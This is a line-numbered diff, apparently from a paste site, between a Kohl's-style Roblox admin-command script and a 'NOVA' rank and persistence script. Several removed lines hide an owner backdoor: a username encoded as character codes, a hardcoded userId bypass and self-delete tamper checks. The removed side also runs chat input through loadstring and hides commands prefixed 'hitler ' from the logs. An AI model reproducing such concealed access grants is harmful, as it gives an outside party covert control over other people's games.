302 | - | local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8 |
302 | + | |
303 | - | local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true |
303 | + | |
304 | - | scr.Parent = v.PlayerGui |
304 | + | --[[ DATA PERSISTANCE ]]-- |
305 | - | coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) |
305 | + | --[[ SYNC RANKS IN ]]-- |
306 | - | if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end |
306 | + | function SyncRanksIn() |
307 | - | else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end |
307 | + | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do |
308 | - | coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end)) |
308 | + | SyncRankInSingular(v) |
309 | end | |
310 | end | |
311 | --[[ SYNC RANK IN SINGULAR ]]-- | |
312 | function SyncRankInSingular(v) | |
313 | if type(v) ~= "userdata" then | |
314 | - | function RemoveMessage() |
314 | + | print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.") |
315 | - | for i,v in pairs(game.Players:children()) do |
315 | + | return |
316 | - | if v and v:findFirstChild("PlayerGui") then |
316 | + | end |
317 | - | for q,ms in pairs(v.PlayerGui:children()) do |
317 | + | coroutine.resume(coroutine.create(function() |
318 | - | if ms.Name == "MessageGUI" then |
318 | + | repeat wait() until v.DataReady == true |
319 | - | coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end)) |
319 | + | |
320 | - | elseif ms.Name == "HintGUI" then |
320 | + | if GetRankedTable(v) == nil then |
321 | - | coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end)) |
321 | + | table.insert(NOVA.Ranked,{ |
322 | Name = v.Name, | |
323 | CMD = false, | |
324 | Rank = 0, | |
325 | Color = NOVA.Colors.Orange, | |
326 | Desc = "N/A", | |
327 | Complaints = Instance.new("Model"), | |
328 | - | _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end |
328 | + | Executeables = Instance.new("Model"), |
329 | - | _G["RemoveMessage"] = RemoveMessage() |
329 | + | Mesh = false |
330 | }) | |
331 | - | function Output(str, plr) |
331 | + | |
332 | end | |
333 | - | local b, e = loadstring(str) |
333 | + | |
334 | - | if not b and plr:findFirstChild("PlayerGui") then |
334 | + | local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version) |
335 | - | local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5) |
335 | + | local Data = GetRankedTable(v) |
336 | - | local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8 |
336 | + | |
337 | - | local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8 |
337 | + | if PhysicalData == nil then |
338 | - | return |
338 | + | Data.Name = v.Name |
339 | Data.CMD = false | |
340 | Data.Rank = 0 | |
341 | Data.Color = NOVA.Colors.Orange | |
342 | Data.Desc = "N/A" | |
343 | - | function Noobify(char) |
343 | + | Data.Complaints = Instance.new("Model") |
344 | - | if char and char:findFirstChild("Torso") then |
344 | + | Data.Executeables = Instance.new("Model") |
345 | - | if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end |
345 | + | elseif PhysicalData ~= nil then |
346 | - | if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end |
346 | + | pcall(function() Data.Name = v.Name end) |
347 | - | for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end |
347 | + | pcall(function() Data.CMD = PhysicalData.CMD.Value end) |
348 | - | local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char |
348 | + | pcall(function() Data.Rank = PhysicalData.RANK.Value end) |
349 | - | for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
349 | + | pcall(function() Data.Color = PhysicalData.COLOR.Value end) |
350 | - | prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow") |
350 | + | pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end) |
351 | - | if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end |
351 | + | pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end) |
352 | - | local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) |
352 | + | pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end) |
353 | - | cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) |
353 | + | if Data.CMD == nil then Data.CMD = false end |
354 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow") |
354 | + | if Data.Rank == nil then Data.Rank = 0 end |
355 | - | end end |
355 | + | if Data.Color == nil then Data.Color = NOVA.Colors.Orange end |
356 | if Data.Desc == nil then Data.Desc = "N/A" end | |
357 | - | end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end |
357 | + | if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end |
358 | if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end | |
359 | - | function Infect(char) |
359 | + | end |
360 | - | if char and char:findFirstChild("Torso") then |
360 | + | end)) |
361 | - | if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end |
361 | + | |
362 | - | if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end |
362 | + | |
363 | - | for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end |
363 | + | --[[ SYNC RANKS OUT ]]-- |
364 | - | local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char |
364 | + | function SyncRanksOut() |
365 | - | for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then |
365 | + | for _,v in pairs(NOVA.Services.Players:GetPlayers()) do |
366 | - | prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end |
366 | + | SyncRankOutSingular(v) |
367 | - | local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end) |
367 | + | end |
368 | - | cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end) |
368 | + | |
369 | - | elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green") |
369 | + | |
370 | - | end end |
370 | + | --[[ SYNC RANK OUT SINGULAR ]]-- |
371 | function SyncRankOutSingular(v) | |
372 | - | end if not ntab then script:Destroy() end |
372 | + | coroutine.resume(coroutine.create(function() |
373 | repeat wait() until v.DataReady == true | |
374 | - | function ScrollGui() |
374 | + | local RankData = GetRankedTable(v) |
375 | - | local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI" |
375 | + | if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end |
376 | - | local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1 |
376 | + | local Data = Instance.new("Model") |
377 | - | drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = "" |
377 | + | Data.Name = "PlayerData" |
378 | - | local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true |
378 | + | local CMD = Instance.new("BoolValue",Data) |
379 | - | local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8 |
379 | + | CMD.Name = "CMD" |
380 | - | local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9 |
380 | + | CMD.Value = RankData.CMD |
381 | - | local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50) |
381 | + | local Rank = Instance.new("NumberValue",Data) |
382 | - | local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end) |
382 | + | Rank.Name = "RANK" |
383 | - | local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top" |
383 | + | Rank.Value = RankData.Rank |
384 | - | local num = 0 |
384 | + | local Color = Instance.new("Color3Value",Data) |
385 | - | local downv = false |
385 | + | Color.Name = "COLOR" |
386 | - | local upv = false |
386 | + | Color.Value = RankData.Color |
387 | local Desc = Instance.new("StringValue",Data) | |
388 | - | down.MouseButton1Down:connect(function() downv = true upv = false |
388 | + | Desc.Name = "DESCRIPTION" |
389 | - | local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end |
389 | + | Desc.Value = RankData.Desc |
390 | - | repeat pos = pos + UDim2.new(0,0,0,-6) |
390 | + | local Complaints = RankData.Complaints:Clone() |
391 | - | if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end |
391 | + | Complaints.Name = "COMPLAINTS" |
392 | - | cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false |
392 | + | local Executeables = RankData.Executeables:Clone() |
393 | - | end) |
393 | + | Executeables.Name = "EXECUTEABLES" |
394 | - | down.MouseButton1Up:connect(function() downv = false end) |
394 | + | local MeshVa = Instance.new("BoolValue",Data) |
395 | - | up.MouseButton1Down:connect(function() upv = true downv = false |
395 | + | MeshVa = RankData.Mesh |
396 | - | local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end |
396 | + | if MeshVa.Value == true then |
397 | - | repeat pos = pos + UDim2.new(0,0,0,6) |
397 | + | local MeshId = Instance.new("StringValue",Data) |
398 | - | if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end |
398 | + | MeshId = RankData.MeshId |
399 | - | cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false |
399 | + | end |
400 | - | end) |
400 | + | v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data) |
401 | - | up.MouseButton1Up:connect(function() upv = false end) |
401 | + | for _,v in pairs(NOVA.PreviousDataKeys) do |
402 | - | return scr, cmf, ent, num |
402 | + | v:SaveInstance(v,Data) |
403 | - | end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs) |
403 | + | end |
404 | - | if not ntab then script:Destroy() end |
404 | + | end)) |
405 | - | if not bct then script:Destroy() end |
405 | + | |
406 | ||
407 | - | function Chat(msg,plr) |
407 | + | --[[ PLAYER INTERFACE ]]-- |
408 | function PlayerInterface(v,Speaker) | |
409 | - | if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end |
409 | + | RemoveTablets(Speaker) |
410 | - | if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1) |
410 | + | local Data = GetRankedTable(v) |
411 | - | if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end |
411 | + | OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker) |
412 | - | if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end |
412 | + | Output("Rank Name : "..GetRankName(v),Data.Color,Speaker) |
413 | - | if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end |
413 | + | Output("Rank Number : "..Data.Rank,Data.Color,Speaker) |
414 | - | if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end |
414 | + | Output("Account Age : "..v.AccountAge,Data.Color,Speaker) |
415 | - | if msg:lower() == "cmds" or msg:lower() == "commands" then |
415 | + | Output("User Id : "..v.userId,Data.Color,Speaker) |
416 | - | if plr.PlayerGui:findFirstChild("CMDSGUI") then return end |
416 | + | Output("Desc : "..Data.Desc,Data.Color,Speaker) |
417 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui |
417 | + | Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker) |
418 | - | local cmds = {"s code","ls code","clear","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","btools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","teleport plr plr","change plr stat num","kick plr","infect plr","rainbowify plr","flashify plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix plr","fling plr","seizure plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","place plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","insert id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr","tools","undisco","unflash","resetstats plr","gear plr id","cmdbar","shirt plr id","pants plr id","face plr id","swagify plr id","version","tm num msg","countdown num","clone plr","lsplr plr code","startergive plr tool","control plr"} |
418 | + | Output("Color : "..tostring(Data.Color),Data.Color,Speaker) |
419 | - | local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"} |
419 | + | if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then |
420 | - | local ost = {"pa plr","unpa plr","nuke plr"} |
420 | + | Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil, |
421 | - | local tost = {"oa plr","unoa plr","settings"} |
421 | + | function() |
422 | - | local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1 |
422 | + | Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey |
423 | - | for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
423 | + | end |
424 | - | if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
424 | + | ) |
425 | - | if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
425 | + | end |
426 | - | if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
426 | + | if GetRank(Speaker) > Data.Rank or v == Speaker then |
427 | Output("Set CMD",NOVA.Colors.Blue,Speaker,nil, | |
428 | function() | |
429 | - | if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end |
429 | + | RemoveTablets(Speaker) |
430 | Output("True",NOVA.Colors.Green,Speaker,nil, | |
431 | - | if msg:lower() == "admins" or msg:lower() == "adminlist" then |
431 | + | function() |
432 | - | if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end |
432 | + | Data.CMD = true |
433 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui |
433 | + | SyncRankOutSingular(v) |
434 | - | for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
434 | + | PlayerInterface(v,Speaker) |
435 | - | for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
435 | + | end |
436 | - | for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
436 | + | ) |
437 | - | end end |
437 | + | Output("False",NOVA.Colors.Red,Speaker,nil, |
438 | function() | |
439 | - | if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then |
439 | + | Data.CMD = false |
440 | - | if plr.PlayerGui:findFirstChild("BANSGUI") then return end |
440 | + | SyncRankOutSingular(v) |
441 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui |
441 | + | PlayerInterface(v,Speaker) |
442 | - | for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end |
442 | + | end |
443 | ) | |
444 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
445 | - | if msg:lower() == "tools" or msg:lower() == "toollist" then |
445 | + | function() |
446 | - | if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end |
446 | + | PlayerInterface(v,Speaker) |
447 | - | local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui |
447 | + | end |
448 | - | for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end |
448 | + | ) |
449 | Output("Dismiss",NOVA.Colors.Red,Speaker) | |
450 | end | |
451 | - | if msg:lower():sub(1,2) == "s " then |
451 | + | ) |
452 | end | |
453 | - | Output(msg:sub(3), plr) |
453 | + | if GetRank(Speaker) > Data.Rank or v == Speaker then |
454 | - | if script:findFirstChild("ScriptBase") then |
454 | + | Output("Set Mesh",NOVA.Colors.Blue,Speaker,nil, |
455 | - | local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3) |
455 | + | function() |
456 | - | table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false |
456 | + | RemoveTablets(Speaker) |
457 | - | else loadstring(msg:sub(3))() |
457 | + | Output("Rainbow Dominus",NOVA.Colors.Green,Speaker,nil, |
458 | function() | |
459 | Data.Mesh = "Dominus" | |
460 | SyncRankOutSingular(v) | |
461 | PlayerInterface(v,Speaker) | |
462 | - | if msg:lower():sub(1,3) == "ls " then |
462 | + | end |
463 | ) | |
464 | - | if script:findFirstChild("LocalScriptBase") then |
464 | + | Output("Giant Spider",NOVA.Colors.Red,Speaker,nil, |
465 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4) |
465 | + | function() |
466 | - | table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr) |
466 | + | Data.Mesh = "Spider" |
467 | SyncRankOutSingular(v) | |
468 | PlayerInterface(v,Speaker) | |
469 | end | |
470 | ) | |
471 | - | if msg:lower():sub(1,6) == "lsplr " then |
471 | + | Output("Orb",NOVA.Colors.Red,Speaker,nil, |
472 | - | local chk1 = msg:lower():sub(7):find(" ") + 6 |
472 | + | function() |
473 | - | local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1)) |
473 | + | Data.Mesh = "Orb" |
474 | - | for i, v in pairs(plrz) do |
474 | + | SyncRankOutSingular(v) |
475 | PlayerInterface(v,Speaker) | |
476 | - | if v and v:findFirstChild("PlayerGui") then |
476 | + | end |
477 | - | if script:findFirstChild("LocalScriptBase") then |
477 | + | ) |
478 | - | local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(chk+1) |
478 | + | Output("Tabet",NOVA.Colors.Red,Speaker,nil, |
479 | - | table.insert(objects, cl) cl.Parent = v.PlayerGui cl.Disabled = false Output(msg:sub(4), plr) |
479 | + | function() |
480 | Data.Mesh = "Tablet" | |
481 | SyncRankOutSingular(v) | |
482 | PlayerInterface(v,Speaker) | |
483 | end | |
484 | ) | |
485 | Output("Normal",NOVA.Colors.Red,Speaker,nil, | |
486 | - | if msg:lower():sub(1,4) == "ins " then |
486 | + | function() |
487 | Data.Mesh = false | |
488 | - | local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5))) |
488 | + | SyncRankOutSingular(v) |
489 | - | if obj and #obj:children() >= 1 and plr.Character then |
489 | + | PlayerInterface(v,Speaker) |
490 | - | table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p) |
490 | + | end |
491 | ) | |
492 | Output("Done",NOVA.Colors.Blue,Speaker,nil, | |
493 | function() | |
494 | PlayerInterface(v,Speaker) | |
495 | - | if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then |
495 | + | end |
496 | - | for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end |
496 | + | ) |
497 | - | RemoveMessage() |
497 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
498 | - | objects = {} |
498 | + | end |
499 | ) | |
500 | end | |
501 | - | if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then |
501 | + | if GetRank(Speaker) > Data.Rank then |
502 | - | game.Lighting.Ambient = origsettings.abt |
502 | + | Output("Set Rank",NOVA.Colors.Blue,Speaker,nil, |
503 | - | game.Lighting.Brightness = origsettings.brt |
503 | + | function() |
504 | - | game.Lighting.TimeOfDay = origsettings.time |
504 | + | RemoveTablets(Speaker) |
505 | - | game.Lighting.FogColor = origsettings.fclr |
505 | + | for i,v in pairs(NOVA.Ranks) do |
506 | - | game.Lighting.FogEnd = origsettings.fe |
506 | + | if v[1] ~= 8 then |
507 | - | game.Lighting.FogStart = origsettings.fs |
507 | + | Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil, |
508 | - | for i, v in pairs(lobjs) do v:Destroy() end |
508 | + | function() |
509 | - | for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end |
509 | + | RemoveTablets(Speaker) |
510 | Data.Rank = v[1] | |
511 | SyncRankOutSingular(v) | |
512 | - | if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then |
512 | + | PlayerInterface(v,Speaker) |
513 | end | |
514 | - | for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end |
514 | + | ) |
515 | - | local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR" |
515 | + | end |
516 | - | local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true |
516 | + | end |
517 | - | box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end) |
517 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
518 | Output("Back",NOVA.Colors.Blue,Speaker,nil, | |
519 | function() | |
520 | PlayerInterface(v,Speaker) | |
521 | - | if msg:lower():sub(1,10) == "countdown " then |
521 | + | end |
522 | - | local num = math.min(tonumber(msg:sub(11)),120) |
522 | + | ) |
523 | - | for i = num, 1, -1 do |
523 | + | |
524 | - | coroutine.resume(coroutine.create(function() Message("Countdown", i, false, game.Players:children(), 1) end)) |
524 | + | end |
525 | ) | |
526 | end | |
527 | if GetRank(Speaker) > Data.Rank or v == Speaker then | |
528 | Output("Set Color",NOVA.Colors.Blue,Speaker,nil, | |
529 | - | if msg:lower():sub(1,3) == "tm " then |
529 | + | function() |
530 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
530 | + | RemoveTablets(Speaker) |
531 | - | local num = tonumber(msg:sub(4,chk1-1)) |
531 | + | for i,Color in pairs(NOVA.Colors) do |
532 | - | Message("Message from " .. plr.Name, msg:sub(chk1+1), false, game.Players:children(), num) |
532 | + | Output(tostring(i),Color,Speaker,nil, |
533 | function() | |
534 | Data.Color = Color | |
535 | - | if msg:lower():sub(1,2) == "m " then |
535 | + | PlayerInterface(v,Speaker) |
536 | - | Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children()) |
536 | + | SyncRankOutSingular(v) |
537 | end | |
538 | ) | |
539 | - | if msg:lower():sub(1,2) == "h " then |
539 | + | |
540 | - | Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children()) |
540 | + | end |
541 | Output("Back",NOVA.Colors.Blue,Speaker,nil, | |
542 | function() | |
543 | - | if msg:lower():sub(1,3) == "pm " then |
543 | + | PlayerInterface(v,Speaker) |
544 | - | local chk1 = msg:lower():sub(4):find(" ") + 3 |
544 | + | end |
545 | - | local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1)) |
545 | + | ) |
546 | - | Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz) |
546 | + | Output("Dismiss",NOVA.Colors.Red,Speaker) |
547 | end | |
548 | ) | |
549 | - | if msg:lower():sub(1,11) == "resetstats " then |
549 | + | end |
550 | - | local plrz = GetPlr(plr, msg:lower():sub(12)) |
